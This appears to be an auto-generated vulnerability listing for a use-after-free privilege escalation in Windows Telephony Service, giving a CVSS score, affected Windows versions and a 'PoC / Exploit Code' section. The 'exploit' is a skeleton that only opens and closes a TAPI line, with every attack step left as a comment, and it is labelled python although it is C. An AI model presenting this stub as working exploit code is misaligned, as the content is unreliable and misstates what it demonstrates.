Use after free in Windows Telephony Service allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Windows 10
Windows 11
Windows Server 2019
Windows Server 2022
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <tapi.h>
/*
* Conceptual Proof of Concept for CVE-2026-40382
* Trigger: Use After Free in Windows Telephony Service
* Impact: Local Privilege Escalation
*/
void exploit_trigger() {
HLINEAPP hLineApp;
DWORD dwNumDevs;
DWORD dwAPIVersion = TAPI_CURRENT_VERSION;
// Initialize TAPI line application
if (lineInitialize(&hLineApp, GetModuleHandle(NULL), NULL, L"CVE-2026-40382", &dwNumDevs) != 0) {
return;
}
// Step 1: Allocate the vulnerable object
HLINE hLine;
if (lineOpen(hLineApp, 0, &hLine, dwAPIVersion, 0, 0, LINECALLPRIVILEGE_NONE, 0, NULL) == 0) {
// Step 2: Trigger the Use-After-Free condition
// (This involves specific TAPI messages that cause the object to be freed)
// lineClose(hLine); // Hypothetical trigger
// Step 3: Reclaim memory and control execution flow
// (Heap spraying or precise grooming would occur here)
// Step 4: Interaction with the dangling pointer to execute code
// ...
}
lineShutdown(hLineApp);
}